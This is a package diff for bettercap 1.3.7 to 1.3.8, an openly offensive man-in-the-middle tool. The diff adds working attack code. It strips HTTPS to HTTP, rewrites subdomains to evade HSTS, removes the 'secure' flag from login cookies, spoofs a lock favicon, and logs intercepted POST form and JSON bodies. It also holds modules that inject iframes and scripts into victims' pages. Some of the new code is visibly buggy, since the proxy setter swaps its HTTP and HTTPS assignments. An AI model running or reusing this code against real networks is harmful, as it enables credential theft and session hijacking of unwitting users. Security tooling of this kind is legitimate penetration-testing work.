bettercap 1.3.7 → 1.3.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 48a0d8e69cf95056c2e4d9e12b36a55b074da94b
4
- data.tar.gz: 849f6961e569a94299e0cf6f69ac825a8d4df2fa
3
+ metadata.gz: 97b1b49dc607820e776704bce9ca73d9bcb55b0b
4
+ data.tar.gz: 194f31c34fecf4695f9b7a5728cebcab3a1bc0f2
5
5
  SHA512:
6
- metadata.gz: d040cd73c42769b985ec53ea197bcb6d580567fe87654ad40b3593d7761818c34bf2e42582f58686fe466ccdd6154742c6966f454e688b1e6a5db1e11b2d4a99
7
- data.tar.gz: ce9367914282abe8c0b48a5bec0216c4dc7481ab4eab249be69eea2c7069473a1a1ab6da4b73b8eb39b95f95905e1ddacf2b4bdf38c8feef899724685b4d6dc1
6
+ metadata.gz: f2eff4d44d1e1db62e406de421c458c97e9a8cba55d554ad2465d7cb019b488f8e961f8e5a304865c8e9a390df343cddb32d87585a99979d1279d4a832cc1498
7
+ data.tar.gz: 24249e328e6ffb0a082d7058d0aacdaa6c75fdec75e820274d266f0f41a6686c781b4a91141fa52aa2bf9b6a1caf935ec6b5880ec42b6f4f7c95dd2087d078d5
data/lib/bettercap.rb CHANGED
@@ -27,7 +27,7 @@ require 'uri'
27
27
  Object.send :remove_const, :Config rescue nil
28
28
  Config = RbConfig
29
29
 
30
- def autoload( path = '' )
30
+ def bettercap_autoload( path = '' )
31
31
  dir = File.dirname(__FILE__) + "/bettercap/#{path}"
32
32
  deps = []
33
33
  files = []
@@ -47,7 +47,6 @@ def autoload( path = '' )
47
47
  ( deps + files ).each do |file|
48
48
  require file
49
49
  end
50
-
51
50
  end
52
51
 
53
- autoload
52
+ bettercap_autoload
@@ -60,7 +60,7 @@ class Context
60
60
  iface = PCAPRUB::Pcap.lookupdev
61
61
  rescue Exception => e
62
62
  iface = nil
63
- Logger.debug e.message
63
+ Logger.exception e
64
64
  end
65
65
 
66
66
  @running = true
@@ -156,6 +156,10 @@ class Context
156
156
  end
157
157
  end
158
158
 
159
+ def post_sniffer_enabled?
160
+ ( @options.sniffer and @options.parsers.include?('POST') )
161
+ end
162
+
159
163
  # Stop every running daemon that was started and reset system state.
160
164
  def finalize
161
165
  @running = false
@@ -196,7 +200,7 @@ class Context
196
200
 
197
201
  # Apply needed BetterCap::Firewalls::Redirection objects.
198
202
  def enable_port_redirection!
199
- @redirections = @options.to_redirections @ifconfig
203
+ @redirections = @options.get_redirections(@ifconfig)
200
204
  @redirections.each do |r|
201
205
  Logger.debug "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}"
202
206
  @firewall.add_port_redirection( r )
@@ -231,6 +235,8 @@ class Context
231
235
  end
232
236
  rescue Exception => e
233
237
  Logger.warn "Error with proxy module: #{e.message}"
238
+ Logger.exception e
239
+
234
240
  response = original
235
241
  end
236
242
  end
@@ -37,6 +37,20 @@ module Logger
37
37
  @@ctx = Context.get
38
38
  end
39
39
 
40
+ # Log the exception +e+, if this is a beta version, log it as a warning,
41
+ # otherwise as a debug message.
42
+ def exception(e)
43
+ msg = "Exception : #{e.class}\n" +
44
+ "Message : #{e.message}\n" +
45
+ "Backtrace :\n\n #{e.backtrace.join("\n ")}\n"
46
+
47
+ if BetterCap::VERSION.end_with?('b')
48
+ self.warn(msg)
49
+ else
50
+ self.debug(msg)
51
+ end
52
+ end
53
+
40
54
  # Log an error +message+.
41
55
  def error(message)
42
56
  @@queue.push formatted_message(message, 'E').red
@@ -0,0 +1,49 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ SNMP network protos:
11
+ Author : Matteo Cantoni
12
+ Email : matteo.cantoni@nothink.org
13
+
14
+ This project is released under the GPL 3 license.
15
+
16
+ Todo:
17
+ - add SNMPv1 PDU structure
18
+ - add SNMPv2 support
19
+
20
+ =end
21
+
22
+ module BetterCap
23
+ module Network
24
+ module Protos
25
+ module SNMP
26
+
27
+ # https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
28
+ # http://docwiki.cisco.com/wiki/Simple_Network_Management_Protocol
29
+ class Packet < Network::Protos::Base
30
+
31
+ #0000 30 29 02 01 00 04 06 70 75 62 6c 69 63 a1 1c 02
32
+ #0010 04 36 eb 8d d1 02 01 00 02 01 00 30 0e 30 0c 06
33
+ #0020 08 2b 06 01 02 01 01 01 00 05 00
34
+
35
+ uint16 :snmp_asn_decode # 30 29
36
+
37
+ uint8 :snmp_version_type # 02
38
+ uint8 :snmp_version_length # 01
39
+ uint8 :snmp_version_number # 00
40
+
41
+ uint8 :snmp_community_type # 04
42
+ uint8 :snmp_community_length # 06
43
+ bytes :snmp_community_string, :size => :snmp_community_length # 70 75 62 6c 69 63
44
+ end
45
+
46
+ end
47
+ end
48
+ end
49
+ end
@@ -184,7 +184,7 @@ class Options
184
184
  end
185
185
 
186
186
  opts.on( '--ignore ADDRESS1,ADDRESS2', 'Ignore these addresses if found while searching for targets.' ) do |v|
187
- ctx.options.ignore = v
187
+ ctx.options.parse_ignore!(v)
188
188
  end
189
189
 
190
190
  opts.on( '-O', '--log LOG_FILE', 'Log all messages into a file, if not specified the log messages will be only print into the shell.' ) do |v|
@@ -269,11 +269,11 @@ class Options
269
269
  end
270
270
 
271
271
  opts.on( '--http-ports PORT1,PORT2', 'Comma separated list of HTTP ports to redirect to the proxy, default to ' + ctx.options.http_ports.join(', ') + ' .' ) do |v|
272
- ctx.options.http_ports = v
272
+ ctx.options.http_ports = ctx.options.parse_ports( v )
273
273
  end
274
274
 
275
275
  opts.on( '--https-ports PORT1,PORT2', 'Comma separated list of HTTPS ports to redirect to the proxy, default to ' + ctx.options.https_ports.join(', ') + ' .' ) do |v|
276
- ctx.options.https_ports = v
276
+ ctx.options.https_ports = ctx.options.parse_ports( v )
277
277
  end
278
278
 
279
279
  opts.on( '--proxy-https-port PORT', 'Set HTTPS proxy port, default to ' + ctx.options.proxy_https_port.to_s + ' .' ) do |v|
@@ -293,7 +293,7 @@ class Options
293
293
  end
294
294
 
295
295
  opts.on( '--custom-proxy ADDRESS', 'Use a custom HTTP upstream proxy instead of the builtin one.' ) do |v|
296
- ctx.options.custom_proxy = v
296
+ ctx.options.parse_custom_proxy!(v)
297
297
  end
298
298
 
299
299
  opts.on( '--custom-proxy-port PORT', 'Specify a port for the custom HTTP upstream proxy, default to ' + ctx.options.custom_proxy_port.to_s + ' .' ) do |v|
@@ -305,7 +305,7 @@ class Options
305
305
  end
306
306
 
307
307
  opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v|
308
- ctx.options.custom_https_proxy = v
308
+ ctx.options.parse_custom_proxy!( v, true )
309
309
  end
310
310
 
311
311
  opts.on( '--custom-https-proxy-port PORT', 'Specify a port for the custom HTTPS upstream proxy, default to ' + ctx.options.custom_https_proxy_port.to_s + ' .' ) do |v|
@@ -374,7 +374,7 @@ class Options
374
374
  end
375
375
 
376
376
  unless ctx.options.target.nil?
377
- ctx.targets = ctx.options.to_targets
377
+ ctx.targets = ctx.options.parse_targets
378
378
  end
379
379
 
380
380
  # Load firewall instance, network interface informations and detect the
@@ -382,7 +382,7 @@ class Options
382
382
  ctx.update!
383
383
 
384
384
  # Spoofers need the context network data to be initialized.
385
- ctx.spoofer = ctx.options.to_spoofers
385
+ ctx.spoofer = ctx.options.parse_spoofers
386
386
 
387
387
  ctx
388
388
  end
@@ -412,9 +412,11 @@ class Options
412
412
  !@ignore.nil? and @ignore.include?(ip)
413
413
  end
414
414
 
415
+ # Parsing Routines
416
+
415
417
  # Setter for the #ignore attribute, will raise a BetterCap::Error if one
416
418
  # or more invalid IP addresses are specified.
417
- def ignore=(value)
419
+ def parse_ignore!(value)
418
420
  @ignore = value.split(",")
419
421
  valid = @ignore.select { |target| Network.is_ip?(target) }
420
422
 
@@ -430,23 +432,20 @@ class Options
430
432
  Logger.warn "Ignoring #{valid.join(", ")} ."
431
433
  end
432
434
 
433
- # Setter for the #custom_proxy attribute, will raise a BetterCap::Error if
434
- # +value+ is not a valid IP address.
435
- def custom_proxy=(value)
436
- @custom_proxy = value
437
- raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip? @custom_proxy
438
- end
439
-
440
- # Setter for the #custom_https_proxy attribute, will raise a BetterCap::Error if
441
- # +value+ is not a valid IP address.
442
- def custom_https_proxy=(value)
443
- @custom_https_proxy = value
444
- raise BetterCap::Error, 'Invalid custom HTTPS upstream proxy address specified.' unless Network.is_ip? @custom_https_proxy
435
+ # Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
436
+ # BetterCap::Error if +value+ is not a valid IP address.
437
+ def parse_custom_proxy!(value, https=false)
438
+ raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
439
+ if https
440
+ @custom_proxy = value
441
+ else
442
+ @custom_https_proxy = value
443
+ end
445
444
  end
446
445
 
447
446
  # Parse a comma separated list of ports and return an array containing only
448
447
  # valid ports, raise BetterCap::Error if that array is empty.
449
- def to_ports(value)
448
+ def parse_ports(value)
450
449
  ports = []
451
450
  value.split(",").each do |v|
452
451
  v = v.strip.to_i
@@ -458,21 +457,9 @@ class Options
458
457
  ports
459
458
  end
460
459
 
461
- # Setter for the #http_ports attribute, will raise a BetterCap::Error if +value+
462
- # is not a valid comma separated list of ports.
463
- def http_ports=(value)
464
- @http_ports = to_ports(value)
465
- end
466
-
467
- # Setter for the #https_ports attribute, will raise a BetterCap::Error if +value+
468
- # is not a valid comma separated list of ports.
469
- def https_ports=(value)
470
- @https_ports = to_ports(value)
471
- end
472
-
473
460
  # Split specified targets and parse them ( either as IP or MAC ), will raise a
474
461
  # BetterCap::Error if one or more invalid addresses are specified.
475
- def to_targets
462
+ def parse_targets
476
463
  targets = @target.split(",")
477
464
  valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
478
465
 
@@ -488,7 +475,7 @@ class Options
488
475
 
489
476
  # Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
490
477
  # BetterCap::Error if an invalid spoofer name was specified.
491
- def to_spoofers
478
+ def parse_spoofers
492
479
  spoofers = []
493
480
  spoofer_modules_names = @spoofer.split(",")
494
481
  spoofer_modules_names.each do |module_name|
@@ -504,7 +491,7 @@ class Options
504
491
 
505
492
  # Create a list of BetterCap::Firewalls::Redirection objects which are needed
506
493
  # given the specified command line arguments.
507
- def to_redirections ifconfig
494
+ def get_redirections ifconfig
508
495
  redirections = []
509
496
 
510
497
  if @dnsd
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
60
60
  # inject URL
61
61
  if @@cssdata.nil?
62
62
  response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
44
44
  def on_request( request, response )
45
45
  # is it a html page?
46
46
  if response.content_type =~ /^text\/html.*/
47
- BetterCap::Logger.info "Injecting HTML code into http://#{request.host}#{request.url}"
47
+ BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into http://#{request.host}#{request.url}"
48
48
 
49
49
  if @@data.nil?
50
50
  response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
60
60
  # inject URL
61
61
  if @@jsdata.nil?
62
62
  response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
@@ -121,8 +121,11 @@ class Proxy
121
121
 
122
122
  request.read(client)
123
123
 
124
+ # stripped request
125
+ if @streamer.was_stripped?( request, client )
126
+ @streamer.handle( request, client )
124
127
  # someone is having fun with us =)
125
- if is_self_request? request
128
+ elsif is_self_request? request
126
129
  @streamer.rickroll( client, @is_https )
127
130
  # handle request
128
131
  else
@@ -131,11 +134,14 @@ class Proxy
131
134
 
132
135
  Logger.debug "#{@type} client served."
133
136
 
137
+ rescue SocketError => se
138
+ Logger.debug "Socket error while serving client: #{e.message}"
139
+ Logger.exception e
140
+ rescue Errno::EPIPE => ep
141
+ Logger.debug "Connection closed while serving client."
134
142
  rescue Exception => e
135
- if request.host
136
- Logger.warn "Error while serving #{request.host}#{request.url}: #{e.message}"
137
- Logger.debug e.backtrace.join("\n")
138
- end
143
+ Logger.warn "Error while serving client: #{e.message}"
144
+ Logger.exception e
139
145
  end
140
146
 
141
147
  client.close
@@ -143,11 +143,18 @@ class Request
143
143
  @lines.join("\n") + "\n" + ( @body || '' )
144
144
  end
145
145
 
146
+ def base_url
147
+ schema = if port == 443 then 'https' else 'http' end
148
+ "#{schema}://#{@host}/"
149
+ end
150
+
146
151
  # Return the full request URL trimming it at +max_length+ characters.
147
152
  def to_url(max_length = 50)
148
153
  schema = if port == 443 then 'https' else 'http' end
149
154
  url = "#{schema}://#{@host}#{@url}"
150
- url = url.slice(0..max_length) + '...' unless url.length <= max_length
155
+ unless max_length.nil?
156
+ url = url.slice(0..max_length) + '...' unless url.length <= max_length
157
+ end
151
158
  url
152
159
  end
153
160
 
@@ -174,10 +181,16 @@ class Request
174
181
  end
175
182
  end
176
183
 
184
+ if name == 'Host'
185
+ @host = value
186
+ end
187
+
177
188
  if !found and !value.nil?
178
189
  @headers[name] = value
179
190
  @lines << "#{name}: #{value}"
180
191
  end
192
+
193
+ @lines.reject!(&:empty?)
181
194
  end
182
195
  end
183
196
  end
@@ -24,7 +24,7 @@ class Response
24
24
  # True if this is a chunked encoded response, otherwise false.
25
25
  attr_reader :chunked
26
26
  # A list of response headers.
27
- attr_reader :headers
27
+ attr_accessor :headers
28
28
  # Response status code.
29
29
  attr_accessor :code
30
30
  # True if the parser finished to parse the headers, otherwise false.
@@ -81,7 +81,15 @@ class Response
81
81
  def convert_webrick_response!(response)
82
82
  self << "HTTP/#{response.http_version} #{response.code} #{response.msg}"
83
83
  response.each do |key,value|
84
- self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
84
+ # sometimes webrick joins all 'set-cookie' headers
85
+ # which might cause issues with HSTS bypass.
86
+ if key == 'set-cookie'
87
+ response.get_fields('set-cookie').each do |v|
88
+ self << "Set-Cookie: #{v}"
89
+ end
90
+ else
91
+ self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
92
+ end
85
93
  end
86
94
  self << "\n"
87
95
  @code = response.code
@@ -158,6 +166,14 @@ class Response
158
166
  end
159
167
  end
160
168
 
169
+ def each_header(name)
170
+ @headers.each_with_index do |header,i|
171
+ if header =~ /^#{name}:\s*(.+)$/i
172
+ yield( $1, i )
173
+ end
174
+ end
175
+ end
176
+
161
177
  # Return a string representation of this response object, patching the
162
178
  # Content-Length header if the #body was modified.
163
179
  def to_s
@@ -22,6 +22,10 @@ class CookieMonitor
22
22
  @set = []
23
23
  end
24
24
 
25
+ def add!(request)
26
+ @set << [request.client, get_domain(request)]
27
+ end
28
+
25
29
  # Return true if the +request+ was already cleaned.
26
30
  def is_clean?(request)
27
31
  if request.post?
@@ -15,6 +15,73 @@ module BetterCap
15
15
  module Proxy
16
16
  module SSLStrip
17
17
 
18
+ # Represent a stripped url associated to the client that requested it.
19
+ class StrippedObject
20
+ # The stripped request client address.
21
+ attr_accessor :client
22
+ # The original URL.
23
+ attr_accessor :original
24
+ # The stripped version of the URL.
25
+ attr_accessor :stripped
26
+
27
+ # Known subdomains to replace.
28
+ SUBDOMAIN_REPLACES = {
29
+ 'www' => 'wwwww',
30
+ 'webmail' => 'wwebmail',
31
+ 'mail' => 'wmail'
32
+ }.freeze
33
+
34
+ # Create an instance with the given arguments.
35
+ def initialize( client, original, stripped )
36
+ @client = client
37
+ @original = original
38
+ @stripped = stripped
39
+ end
40
+
41
+ # Return a normalized version of +url+.
42
+ def self.normalize( url, schema = 'https' )
43
+ # add schema if needed
44
+ unless url.include?('://')
45
+ url = "#{schema}://#{url}"
46
+ end
47
+ # add path if needed
48
+ unless url.end_with?('/')
49
+ url = "#{url}/"
50
+ end
51
+ url
52
+ end
53
+
54
+ # Downgrade +url+ from HTTPS to HTTP.
55
+ # Will take care of HSTS bypass urls in a near future.
56
+ def self.strip( url )
57
+ # first thing first, downgrade the protocol schema
58
+ stripped = url.gsub( 'https://', 'http://' )
59
+ # search for a known subdomain and replace it
60
+ found = false
61
+ SUBDOMAIN_REPLACES.each do |from,to|
62
+ if stripped.include?( "://#{from}." )
63
+ stripped = stripped.gsub( "://#{from}.", "://#{to}." )
64
+ found = true
65
+ break
66
+ end
67
+ end
68
+ # fallback, prepend custom 'wwwww.'
69
+ unless found
70
+ stripped.gsub!( '://', '://wwwww.' )
71
+ end
72
+
73
+ Logger.debug "[#{'SSLSTRIP'.green} '#{url}' -> '#{stripped}'"
74
+
75
+ stripped
76
+ end
77
+
78
+ def self.process( url )
79
+ normalized = self.normalize(url)
80
+ stripped = self.strip(normalized)
81
+ [ normalized, stripped ]
82
+ end
83
+ end
84
+
18
85
  # Handle SSL stripping.
19
86
  class Strip
20
87
  # Maximum number of redirects to detect a HTTPS redirect loop.
@@ -24,9 +91,29 @@ class Strip
24
91
 
25
92
  # Create an instance of this object.
26
93
  def initialize
27
- @urls = URLMonitor.new
28
- @cookies = CookieMonitor.new
29
- @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
94
+ @stripped = []
95
+ @cookies = CookieMonitor.new
96
+ @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
97
+ end
98
+
99
+ # Return true if the +request+ was stripped.
100
+ def was_stripped?(request)
101
+ url = request.base_url
102
+ @stripped.each do |s|
103
+ if s.client == request.client and s.stripped == url
104
+ return true
105
+ end
106
+ end
107
+ false
108
+ end
109
+
110
+ def unstrip( request, url )
111
+ @stripped.each do |s|
112
+ if s.client == request.client and s.stripped == url
113
+ return s.original
114
+ end
115
+ end
116
+ url
30
117
  end
31
118
 
32
119
  # Check if the +request+ is a result of a stripped link/redirect and handle
@@ -86,18 +173,30 @@ class Strip
86
173
  # If the +request+ is a result of a sslstripping operation,
87
174
  # proxy it via SSL.
88
175
  def process_stripped!(request)
89
- # check for stripped urls.
90
- link = @urls.normalize( request.host )
91
- if request.port == 80 and @urls.was_stripped?( request.client, link )
92
- Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
176
+ if request.port == 80 and was_stripped?(request)
177
+ # i.e: wwww.facebook.com
178
+ stripped = request['Host']
179
+ # i.e: http://wwww.facebook.com/
180
+ url = StrippedObject.normalize( stripped, 'http' )
181
+ # i.e: www.facebook.com
182
+ unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('/', '' )
183
+
184
+ # loop each header and fix the stripped url if needed,
185
+ # this will fix headers such as Host, Referer, Origin, etc.
186
+ request.headers.each do |name,value|
187
+ if value.include?(stripped)
188
+ request[name] = value.gsub( stripped, unstripped ).gsub( 'http://', 'https://')
189
+ end
190
+ end
93
191
  request.port = 443
192
+
193
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{url}', proxying via SSL ( #{request.to_url} )."
94
194
  end
95
195
  end
96
196
 
97
197
  # If +request+ is the favicon of a stripped host, send our spoofed lock icon.
98
198
  def spoof_favicon!(request)
99
- link = @urls.normalize( request.host )
100
- if @urls.was_stripped?( request.client, link ) and is_favicon?(request)
199
+ if was_stripped?(request) and is_favicon?(request)
101
200
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
102
201
  return @favicon
103
202
  end
@@ -114,17 +213,34 @@ class Strip
114
213
  def process_redirection!(request,response)
115
214
  # check for a redirect
116
215
  if response['Location'].start_with?('https://')
117
- link = @urls.normalize( response['Location'] )
118
- Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{link}'."
119
- @urls.add!( request.client, link )
216
+ original, stripped = StrippedObject.process( response['Location'] )
217
+
218
+ @stripped << StrippedObject.new( request.client, original, stripped )
120
219
 
121
- # The request will be retried on port 443 if MAX_REDIRECTS is not reached.
122
- request.port = 443
123
220
  # If MAX_REDIRECTS is reached, the 'Location' header will be used.
124
- response['Location'] = @urls.downgrade( response['Location'] )
221
+ response['Location'] = stripped
125
222
 
126
- # retry the request if possible
127
- return true
223
+ # no cookies set, just a normal http -> https redirect
224
+ if response['Set-Cookie'].empty?
225
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{original}' -> '#{stripped}'."
226
+
227
+ # The request will be retried on port 443 if MAX_REDIRECTS is not reached.
228
+ request.port = 443
229
+ # retry the request if possible
230
+ return true
231
+ # cookies set, this is probably a redirect after a login.
232
+ else
233
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS ( with cookies ) '#{original}' -> '#{stripped}'."
234
+ # we know this session, do not kill it!
235
+ @cookies.add!( request )
236
+ # remove the 'secure' descriptor from every cookie
237
+ response.each_header('Set-Cookie') do |value,i|
238
+ response.headers[i] = "Set-Cookie: #{value.gsub( /secure/, '' )}"
239
+ end
240
+
241
+ # do not retry request
242
+ return false
243
+ end
128
244
  end
129
245
  false
130
246
  end
@@ -136,22 +252,19 @@ class Strip
136
252
  begin
137
253
  response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
138
254
  if link[0].include?('.')
139
- link = @urls.normalize( link[0] )
140
- downgraded = @urls.downgrade( link )
141
-
142
- links << [link, downgraded]
255
+ links << StrippedObject.process( link[0] )
143
256
  end
144
257
  end
145
258
  # handle errors due to binary content
146
259
  rescue; end
147
260
 
148
261
  unless links.empty?
149
- Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
262
+ Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
150
263
 
151
264
  links.each do |l|
152
- link, downgraded = l
153
- @urls.add!( request.client, link )
154
- response.body.gsub!( link, downgraded )
265
+ original, stripped = l
266
+ @stripped << StrippedObject.new( request.client, original, stripped )
267
+ response.body.gsub!( original, stripped )
155
268
  end
156
269
  end
157
270
  end
@@ -10,7 +10,9 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
13
+ require 'zlib'
14
+ require 'stringio'
15
+ require 'json'
14
16
 
15
17
  module BetterCap
16
18
  # Raw or http streams pretty logging.
@@ -30,18 +32,16 @@ class StreamLogger
30
32
  # its compact string representation ( @see BetterCap::Target#to_s_compact ).
31
33
  def self.addr2s( addr, alt = nil )
32
34
  ctx = Context.get
33
-
35
+ # check for the local address
34
36
  return 'local' if addr == ctx.ifconfig[:ip_saddr]
35
-
37
+ # is it a known target?
36
38
  target = ctx.find_target addr, nil
37
39
  return target.to_s_compact unless target.nil?
38
-
39
- if addr == '0.0.0.0' and !alt.nil?
40
- return alt
41
- elsif addr == '255.255.255.255'
42
- return '*'
43
- end
44
-
40
+ # fix 0.0.0.0 if alt argument was specified
41
+ return alt if addr == '0.0.0.0' and !alt.nil?
42
+ # fix broadcast -> *
43
+ return '*' if addr == '255.255.255.255'
44
+ # nothing found, return the address as it is
45
45
  addr
46
46
  end
47
47
 
@@ -74,21 +74,82 @@ class StreamLogger
74
74
  to = self.addr2s( pkt.ip_daddr, pkt.eth2s(:dst) )
75
75
 
76
76
  if pkt.respond_to?('tcp_dst')
77
- to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s
77
+ to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s.light_blue
78
78
  elsif pkt.respond_to?('udp_dst')
79
- to += ':' + self.service( :udp, pkt.udp_dst ).to_s
79
+ to += ':' + self.service( :udp, pkt.udp_dst ).to_s.light_blue
80
80
  end
81
81
 
82
82
  Logger.raw( "[#{from} > #{to}] [#{label.green}]#{nl}#{payload.strip}" )
83
83
  end
84
84
 
85
+ def self.dump_form( request )
86
+ msg = ''
87
+ request.body.split('&').each do |v|
88
+ name, value = v.split('=')
89
+ name ||= ''
90
+ value ||= ''
91
+ msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
92
+ end
93
+ msg
94
+ end
95
+
96
+ def self.dump_raw( data )
97
+ msg = ''
98
+ data.each_byte do |b|
99
+ msg << ( b.chr =~ /[[:print:]]/ ? b.chr : '.' ).yellow
100
+ end
101
+ msg
102
+ end
103
+
104
+ def self.dump_gzip( request )
105
+ msg = ''
106
+ uncompressed = Zlib::GzipReader.new(StringIO.new(request.body)).read
107
+ self.dump_raw( uncompressed )
108
+ end
109
+
110
+ def self.dump_json( request )
111
+ obj = JSON.parse( request.body )
112
+ json = JSON.pretty_unparse(obj)
113
+ json.scan( /("[^"]+"):/ ).map { |x| json.gsub!( x[0], x[0].blue )}
114
+ json
115
+ end
116
+
117
+ # If +request+ is a complete POST request, this method will log every header
118
+ # and post field with its value.
119
+ def self.log_post( request )
120
+ # the packet could be incomplete
121
+ if request.post? and !request.body.nil? and !request.body.empty?
122
+ msg = "\n[#{'HEADERS'.green}]\n\n"
123
+ request.headers.each do |name,value|
124
+ msg << " #{name.blue} : #{value.yellow}\n"
125
+ end
126
+ msg << "\n[#{'BODY'.green}]\n\n"
127
+
128
+ case request['Content-Type']
129
+ when 'application/x-www-form-urlencoded'
130
+ msg << self.dump_form( request )
131
+
132
+ when 'gzip'
133
+ msg << self.dump_gzip( request )
134
+
135
+ when 'application/json'
136
+ msg << self.dump_json( request )
137
+
138
+ else
139
+ msg << self.dump_raw( request.body )
140
+ end
141
+
142
+ Logger.raw "#{msg}\n"
143
+ end
144
+ end
145
+
85
146
  # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
86
147
  # with the +request+ and +response+ most important informations.
87
148
  def self.log_http( request, response )
88
149
  is_https = request.port == 443
89
150
  request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
90
151
  response_s = "( #{response.content_type} )"
91
- request_s = request_s.slice(0..@@MAX_REQ_SIZE) + '...' unless request_s.length <= @@MAX_REQ_SIZE
152
+ request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
92
153
  code = response.code[0]
93
154
 
94
155
  if @@CODE_COLORS.has_key? code
@@ -98,6 +159,10 @@ class StreamLogger
98
159
  end
99
160
 
100
161
  Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
162
+ # Log post body if the POST sniffer is enabled.
163
+ if Context.get.post_sniffer_enabled?
164
+ self.log_post( request )
165
+ end
101
166
  end
102
167
  end
103
168
  end
@@ -23,6 +23,15 @@ class Streamer
23
23
  @sslstrip = SSLStrip::Strip.new
24
24
  end
25
25
 
26
+ # Return true if the +request+ was stripped.
27
+ def was_stripped?(request, client)
28
+ if @ctx.options.sslstrip
29
+ request.client, request.client_port = get_client_details( !( request.port == 443 ), client )
30
+ return @sslstrip.was_stripped?(request)
31
+ end
32
+ false
33
+ end
34
+
26
35
  # Redirect the +client+ to a funny video.
27
36
  def rickroll( client, is_https )
28
37
  client_ip, client_port = get_client_details( is_https, client )
@@ -79,8 +88,7 @@ class Streamer
79
88
  client.write response.to_s
80
89
  rescue NoMethodError => e
81
90
  Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
82
- Logger.debug e.inspect
83
- Logger.debug e.backtrace.join("\n")
91
+ Logger.exception e
84
92
  end
85
93
  end
86
94
 
@@ -22,23 +22,8 @@ class Post < Base
22
22
  req = BetterCap::Proxy::Request.parse(pkt.payload)
23
23
  # the packet could be incomplete
24
24
  unless req.body.nil? or req.body.empty?
25
- msg = "\n[#{'HEADERS'.green}]\n\n"
26
- req.headers.each do |name,value|
27
- msg << " #{name.blue} : #{value.yellow}\n"
28
- end
29
- msg << "\n[#{'BODY'.green}]\n\n"
30
-
31
- req.body.split('&').each do |v|
32
- name, value = v.split('=')
33
- if name.nil? or value.nil?
34
- msg << " #{URI.unescape(v).yellow}\n"
35
- else
36
- msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
37
- end
38
- end
39
-
40
25
  StreamLogger.log_raw( pkt, "POST", req.to_url(1000) )
41
- Logger.raw "#{msg}\n"
26
+ StreamLogger.log_post( req )
42
27
  end
43
28
  rescue; end
44
29
  end
@@ -0,0 +1,44 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
